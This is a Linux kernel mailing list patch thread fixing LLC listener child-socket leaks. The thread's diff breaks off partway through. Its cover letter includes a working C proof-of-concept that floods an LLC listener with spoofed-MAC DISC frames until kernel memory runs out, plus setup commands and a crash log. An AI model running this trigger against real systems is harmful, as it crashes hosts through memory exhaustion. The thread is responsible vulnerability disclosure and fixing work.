The Linux Kernel Mailing List
 help / color / mirror / Atom feed
* [PATCH net v5 0/2] llc: fix listener child socket leaks before passive open completes
@ 2026-08-22  8:23 Zihan Xi
  2026-08-22  8:23 ` [PATCH net v5 1/2] " Zihan Xi
  2026-08-22  8:23 ` [PATCH net v5 2/2] llc: reject out-of-service state before state lookup Zihan Xi
  0 siblings, 2 replies; 4+ messages in thread
From: Zihan Xi @ 2026-08-22  8:23 UTC (permalink / raw)
  To: netdev
  Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, linux-kernel, stable, Zihan Xi

Hi Linux kernel maintainers,

We found and validated a issue in net/llc/llc_conn.c. The reproducer needs
CAP_NET_RAW and CAP_NET_ADMIN in init_net.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() creates a passive-open child for every frame matched by an
LLC listener. The child is immediately inserted in the SAP tables and takes a
device reference, before the LLC state machine proves that the frame is a real
passive open and before LLC_CONN_PRIM makes it available to accept().

A non-SABME frame never reaches that indication. The old path therefore leaves
a published child behind which accept() cannot return. The same lifecycle gap
also remains for SABME traffic when direct processing, backlog enqueue, or
backlog processing exits before LLC_CONN_PRIM, and when a listener is closed
with queued but unaccepted children.

The fix creates children only for SABME commands. DISC and other commands that
need an ADM-state DM reply are answered directly from the listener using the
packet source address, while other non-SABME traffic is dropped without driving
the listener state machine.

For SABME, the child remains in the SAP tables during passive open so tuple
lookup continues to win over the listener. The patch tracks children through
pending and queued states, routes packets for a pending child through the
listener-side handshake, and removes any child that has not been accepted when
a failure, backlog drop, or listener close occurs. Cleanup is not gated on the
current TCP state, so children are also released if the socket leaves
TCP_LISTEN before close. Process-context child-lock acquisition is serialized
with bottom halves disabled. Final child destruction is deferred to process
context so its timers can be synchronized safely.

The root-cause fact fixed here predates d389424e00f9. Its parent already
creates a listener-side child, publishes it to the SAP tables before
LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local
visible history, the earliest commit where that root-cause fact is already
present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.

The reproducer writes panic_on_oom only to turn the final memory exhaustion into
stable crash evidence after the leak is already confirmed. It is not a
prerequisite for the underlying bug or for the required-capability
trigger path itself.

packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    ./poc llc_rx0 llc_tx0 110000

For the validated run we used the privileged init_net setup below so the PoC
could create llc_rx0/llc_tx0 and then send the crafted LLC traffic:

    ip link add llc_rx0 type veth peer name llc_tx0
    ip link set llc_rx0 address 02:11:22:33:44:55
    ip link set llc_tx0 address 02:11:22:33:44:66
    ip link set llc_rx0 up
    ip link set llc_tx0 up
    ./poc llc_rx0 llc_tx0 110000

For deterministic crash evidence only, after confirming the leak with that
required-capability trigger path, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----

changes in v5:
  - Make listener child cleanup unconditional so queued children are also
    released if the socket leaves TCP_LISTEN before close.
  - Serialize process-context child cleanup and backlog dispatch with bottom
    halves disabled, avoiding child-lock acquisition races with LLC receive
    and timer paths.
  - Drop packets redirected through a pending child after its listener is no
    longer listening, and release children left out of service instead of
    dispatching them.
  - Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
  - v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
changes in v4:
  - Create a passive-open child only for SABME and generate listener-side DM
    replies directly for non-SABME commands.
  - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
    backlog processing, rollback, and listener close with the child lock.
  - Keep immediate SAP publication for passive-open tuple matching, but release
    unaccepted children on direct and backlog failures and on listener close.
  - Defer final incoming-child cleanup to workqueue context so timer
    synchronization does not run in the receive softirq path.
  - Add an LLC state lower-bound check before state-table dispatch.
  - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
  - Drop the unused llc_conn_handler() local rc variable reported in review.
  - Rebase the numbered patch and cover onto commit
    ede76849012e45ffb2193ad110b42027eec02c5c.
  - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
  - Rework the fix to preserve the existing passive-open tuple matching
    semantics instead of deferring child publication until LLC_CONN_PRIM.
  - Track listener-created children pending publication to accept(), and roll
    them back on every earlier failure or drop path.
  - Cover the original non-SABME leak and SABME paths which fail before
    LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
  - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
    locally visible history carrying the same root-cause fact.
  - Clarify panic_on_oom crash evidence and packetdrill selection.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (2):
  llc: fix listener child socket leaks before passive open completes
  llc: reject out-of-service state before state lookup

 include/net/llc_conn.h |  13 +-
 net/llc/af_llc.c       |   9 +-
 net/llc/llc_conn.c     | 266 ++++++++++++++++++++++++++++++++++++++---
 3 files changed, 271 insertions(+), 17 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH net v5 1/2] llc: fix listener child socket leaks before passive open completes
  2026-08-22  8:23 [PATCH net v5 0/2] llc: fix listener child socket leaks before passive open completes Zihan Xi
@ 2026-08-22  8:23 ` Zihan Xi
  2026-08-26  8:34   ` Simon Horman
  2026-08-22  8:23 ` [PATCH net v5 2/2] llc: reject out-of-service state before state lookup Zihan Xi
  1 sibling, 1 reply; 4+ messages in thread
From: Zihan Xi @ 2026-08-22  8:23 UTC (permalink / raw)
  To: netdev
  Cc: David S . Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, linux-kernel, stable, Zihan Xi, Vega

llc_conn_handler() creates and publishes a child whenever a listener
matches a packet. A non-SABME frame never completes the passive open, so
the child remains in the SAP tables, keeps its device reference, and
cannot be returned by accept().

Create children only for SABME commands. Handle the listener's required
DM replies directly, using the packet source address, and do not run the
listener through the connection state machine.

Keep SABME children in the SAP tables during the passive open so that
established lookup continues to select them. Track children until the
connection indication is queued for accept(), and release any child that
fails before then, including direct and backlog failures and listener
close. Reject redirected packets after the listener leaves TCP_LISTEN.

The child socket lock is acquired with bottom halves disabled whenever
the cleanup or backlog path runs in process context.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---

Notes (llc-reroll-v5):
    changes in v5:
      - Make listener child cleanup unconditional so queued children are also
        released if the socket leaves TCP_LISTEN before close.
      - Serialize process-context child cleanup and backlog dispatch with bottom
        halves disabled, avoiding child-lock acquisition races with LLC receive
        and timer paths.
      - Drop packets redirected through a pending child after its listener is no
        longer listening, and release children left out of service instead of
        dispatching them.
      - Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
      - v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
    changes in v4:
      - Create a passive-open child only for SABME and generate listener-side DM
        replies directly for non-SABME commands.
      - Use an atomic incoming-child lifecycle and serialize pending-child lookup,
        backlog processing, rollback, and listener close with the child lock.
      - Keep immediate SAP publication for passive-open tuple matching, but release
        unaccepted children on direct and backlog failures and on listener close.
      - Defer final incoming-child cleanup to workqueue context so timer
        synchronization does not run in the receive softirq path.
      - Add an LLC state lower-bound check before state-table dispatch.
      - v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
    changes in v3:
      - Drop the unused llc_conn_handler() local rc variable reported in review.
      - Rebase the numbered patch and cover onto commit
        ede76849012e45ffb2193ad110b42027eec02c5c.
      - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
    changes in v2:
      - Rework the fix to preserve the existing passive-open tuple matching
        semantics instead of deferring child publication until LLC_CONN_PRIM.
      - Track listener-created children pending publication to accept(), and roll
        them back on every earlier failure or drop path.
      - Cover the original non-SABME leak and SABME paths which fail before
        LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
      - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
        locally visible root-cause fact.
      - Clarify panic_on_oom crash evidence and packetdrill selection.
      - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

 include/net/llc_conn.h |  13 +-
 net/llc/af_llc.c       |   9 +-
 net/llc/llc_conn.c     | 263 ++++++++++++++++++++++++++++++++++++++---
 3 files changed, 269 insertions(+), 16 deletions(-)

diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a302696723..9acda0a6f069 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,6 +6,7 @@
  * 		 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
  */
 #include <linux/timer.h>
+#include <linux/workqueue.h>
 #include <net/llc_if.h>
 #include <net/sock.h>
 #include <linux/llc.h>
@@ -13,6 +14,10 @@
 #define LLC_EVENT                1
 #define LLC_PACKET               2
 
+#define LLC_INCOMING_NONE        0
+#define LLC_INCOMING_PENDING     1
+#define LLC_INCOMING_QUEUED      2
+
 #define LLC2_P_TIME               2
 #define LLC2_ACK_TIME             1
 #define LLC2_REJ_TIME             3
@@ -72,6 +77,9 @@ struct llc_sock {
 					      received and caused sending FRMR.
 					      Used for resending FRMR */
 	u32		    cmsg_flags;
+	atomic_t	    incoming_state;
+	struct sock	    *incoming_listener;
+	struct work_struct incoming_work;
 	struct hlist_node   dev_hash_node;
 };
 
@@ -93,7 +101,10 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)
 struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
 			  struct proto *prot, int kern);
 void llc_sk_stop_all_timers(struct sock *sk, bool sync);
-void llc_sk_free(struct sock *sk);
+void llc_sk_free(struct sock *sk, bool sync);
+void llc_release_incoming_sock(struct sock *sk);
+void llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
 
 void llc_sk_reset(struct sock *sk);
 
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33dbf0..7d246d4d281b 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -196,6 +196,7 @@ static int llc_ui_release(struct socket *sock)
 {
 	struct sock *sk = sock->sk;
 	struct llc_sock *llc;
+	bool listener;
 
 	if (unlikely(sk == NULL))
 		goto out;
@@ -206,6 +207,9 @@ static int llc_ui_release(struct socket *sock)
 		llc->laddr.lsap, llc->daddr.lsap);
 	if (!llc_send_disc(sk))
 		llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+	listener = sk->sk_state == TCP_LISTEN;
+	if (listener)
+		sock_set_flag(sk, SOCK_DEAD);
 	if (!sock_flag(sk, SOCK_ZAPPED)) {
 		struct llc_sap *sap = llc->sap;
 
@@ -214,16 +218,18 @@ static int llc_ui_release(struct socket *sock)
 		 */
 		llc_sap_hold(sap);
 		llc_sap_remove_socket(llc->sap, sk);
+		llc_release_incoming_children(sk);
 		release_sock(sk);
 		llc_sap_put(sap);
 	} else {
+		llc_release_incoming_children(sk);
 		release_sock(sk);
 	}
 	netdev_put(llc->dev, &llc->dev_tracker);
 	sock_put(sk);
 	sock_orphan(sk);
 	sock->sk = NULL;
-	llc_sk_free(sk);
+	llc_sk_free(sk, true);
 out:
 	return 0;
 }
@@ -722,6 +728,7 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
 		goto frees;
 	rc = 0;
 	newsk = skb->sk;
+	llc_accept_incoming_sock(newsk);
 	/* attach connection to a new socket. */
 	llc_ui_sk_init(newsock, newsk);
 	sock_reset_flag(newsk, SOCK_ZAPPED);
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54..8120ecd46ace 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -88,6 +89,11 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 * skb->sk pointing to the newly created struct sock in
 		 * llc_conn_handler. -acme
 		 */
+		if (sk != skb->sk &&
+		    atomic_read(&llc_sk(skb->sk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			atomic_set(&llc_sk(skb->sk)->incoming_state,
+				   LLC_INCOMING_QUEUED);
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
 		sk->sk_state_change(sk);
@@ -765,27 +771,153 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
+	newllc->incoming_listener = sk;
+	atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+	INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+	sock_hold(sk);
 	dev_hold(dev);
 	llc_sap_add_socket(llc->sap, newsk);
 out:
 	return newsk;
 }
 
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+	struct llc_sock *llc = container_of(work, struct llc_sock,
+						    incoming_work);
+	struct sock *sk = &llc->sk;
+	struct sock *listener = llc->incoming_listener;
+
+	lock_sock(listener);
+	lock_sock_nested(sk, SINGLE_DEPTH_NESTING);
+	llc_sk_free(sk, false);
+	sock_orphan(sk);
+	release_sock(sk);
+	llc_sk_stop_all_timers(sk, true);
+	release_sock(listener);
+	dev_put(llc->dev);
+	llc->dev = NULL;
+	sock_put(sk);
+	sock_put(listener);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
+	    LLC_INCOMING_NONE)
+		return;
+
+	WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+	sock_hold(sk);
+	llc_sap_remove_socket(llc->sap, sk);
+	schedule_work(&llc->incoming_work);
+}
+
+void llc_accept_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) !=
+	    LLC_INCOMING_NONE)
+		sock_put(llc->incoming_listener);
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+	struct sk_buff *skb;
+
+	local_bh_disable();
+	while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+		struct sock *newsk = skb->sk;
+
+		if (newsk && newsk != sk) {
+			bh_lock_sock_nested(newsk);
+			if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+			    LLC_INCOMING_NONE)
+				llc_release_incoming_sock(newsk);
+			bh_unlock_sock(newsk);
+		}
+		kfree_skb(skb);
+	}
+	local_bh_enable();
+}
+
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+				 struct llc_addr *saddr, u8 f_bit)
+{
+	struct sk_buff *nskb;
+	int rc;
+
+	nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+	if (!nskb)
+		return;
+
+	llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+			    saddr->lsap, LLC_PDU_RSP);
+	llc_pdu_init_as_dm_rsp(nskb, f_bit);
+	rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+	if (unlikely(rc))
+		kfree_skb(nskb);
+	else
+		dev_queue_xmit(nskb);
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
 	struct llc_addr saddr, daddr;
-	struct sock *sk;
+	struct sock *sk, *newsk = NULL;
+	bool newsk_lookup_ref = false;
+	bool newsk_locked = false;
 
 	llc_pdu_decode_sa(skb, saddr.mac);
 	llc_pdu_decode_ssap(skb, &saddr.lsap);
 	llc_pdu_decode_da(skb, daddr.mac);
 	llc_pdu_decode_dsap(skb, &daddr.lsap);
 
+lookup:
 	sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
 	if (!sk)
 		goto drop;
 
+	if (atomic_read(&llc_sk(sk)->incoming_state) ==
+	    LLC_INCOMING_PENDING) {
+		newsk = sk;
+		bh_lock_sock(newsk);
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING) {
+			bh_unlock_sock(newsk);
+			sock_put(newsk);
+			newsk = NULL;
+			goto lookup;
+		}
+		sk = llc_sk(newsk)->incoming_listener;
+		sock_hold(sk);
+		newsk_lookup_ref = true;
+		bh_unlock_sock(newsk);
+	}
+
 	bh_lock_sock(sk);
+	if (unlikely(sk->sk_state == TCP_LISTEN &&
+		     sock_flag(sk, SOCK_DEAD)))
+		goto drop_unlock;
+	if (newsk_lookup_ref) {
+		bh_lock_sock_nested(newsk);
+		newsk_locked = true;
+		if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+		    LLC_INCOMING_PENDING)
+			goto retry_unlock;
+		if (unlikely(sk->sk_state != TCP_LISTEN ||
+			     sock_flag(sk, SOCK_DEAD))) {
+			llc_release_incoming_sock(newsk);
+			goto drop_unlock;
+		}
+	}
 	/*
 	 * This has to be done here and not at the upper layer ->accept
 	 * method because of the way the PROCOM state machine works:
@@ -795,10 +927,25 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
-		if (!newsk)
-			goto drop_unlock;
+		if (!newsk) {
+			if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+				if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+					u8 f_bit;
+
+					llc_pdu_decode_pf_bit(skb, &f_bit);
+					llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+				} else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+					llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+				}
+				goto drop_unlock;
+			}
+			newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
+							 &daddr);
+			if (!newsk)
+				goto drop_unlock;
+			bh_lock_sock_nested(newsk);
+			newsk_locked = true;
+		}
 		skb_set_owner_r(skb, newsk);
 	} else {
 		/*
@@ -813,18 +960,46 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		skb->sk = sk;
 		skb->destructor = sock_efree;
 	}
-	if (!sock_owned_by_user(sk))
+	if (unlikely(llc_sk(skb->sk)->state < LLC_CONN_STATE_ADM)) {
+		if (newsk)
+			llc_release_incoming_sock(newsk);
+		else if (atomic_read(&llc_sk(sk)->incoming_state) !=
+			 LLC_INCOMING_NONE)
+			llc_release_incoming_sock(sk);
+		goto drop_unlock;
+	}
+	if (!sock_owned_by_user(sk)) {
 		llc_conn_rcv(sk, skb);
-	else {
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING)
+			llc_release_incoming_sock(newsk);
+	} else {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
-		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+			if (newsk)
+				llc_release_incoming_sock(newsk);
 			goto drop_unlock;
+		}
 	}
 out:
+	if (newsk_locked)
+		bh_unlock_sock(newsk);
 	bh_unlock_sock(sk);
 	sock_put(sk);
+	if (newsk_lookup_ref)
+		sock_put(newsk);
 	return;
+retry_unlock:
+	bh_unlock_sock(newsk);
+	newsk_locked = false;
+	bh_unlock_sock(sk);
+	sock_put(sk);
+	sock_put(newsk);
+	newsk = NULL;
+	newsk_lookup_ref = false;
+	goto lookup;
 drop:
 	kfree_skb(skb);
 	return;
@@ -852,12 +1027,53 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct sock *newsk = skb->sk;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
-		if (likely(llc->state > 1)) /* not closed */
+		if (newsk &&
+		    atomic_read(&llc_sk(newsk)->incoming_state) ==
+		    LLC_INCOMING_PENDING) {
+			local_bh_disable();
+			bh_lock_sock_nested(newsk);
+			if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+			    LLC_INCOMING_PENDING) {
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+				goto retry;
+			}
+			if (sock_flag(sk, SOCK_DEAD) ||
+			    sk->sk_state != TCP_LISTEN ||
+			    llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+				llc_release_incoming_sock(newsk);
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+				goto out_kfree_skb;
+			}
 			rc = llc_conn_rcv(sk, skb);
-		else
+			if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+			    LLC_INCOMING_PENDING)
+				llc_release_incoming_sock(newsk);
+			bh_unlock_sock(newsk);
+			local_bh_enable();
+		} else if (newsk &&
+			   atomic_read(&llc_sk(newsk)->incoming_state) ==
+			   LLC_INCOMING_QUEUED) {
+			local_bh_disable();
+			bh_lock_sock_nested(newsk);
+			if (llc_sk(newsk)->state <= LLC_CONN_STATE_ADM) {
+				llc_release_incoming_sock(newsk);
+				bh_unlock_sock(newsk);
+				local_bh_enable();
+				goto out_kfree_skb;
+			}
+			rc = llc_conn_rcv(newsk, skb);
+			bh_unlock_sock(newsk);
+			local_bh_enable();
+		} else if (likely(llc->state > 1)) {
+			rc = llc_conn_rcv(sk, skb);
+		} else {
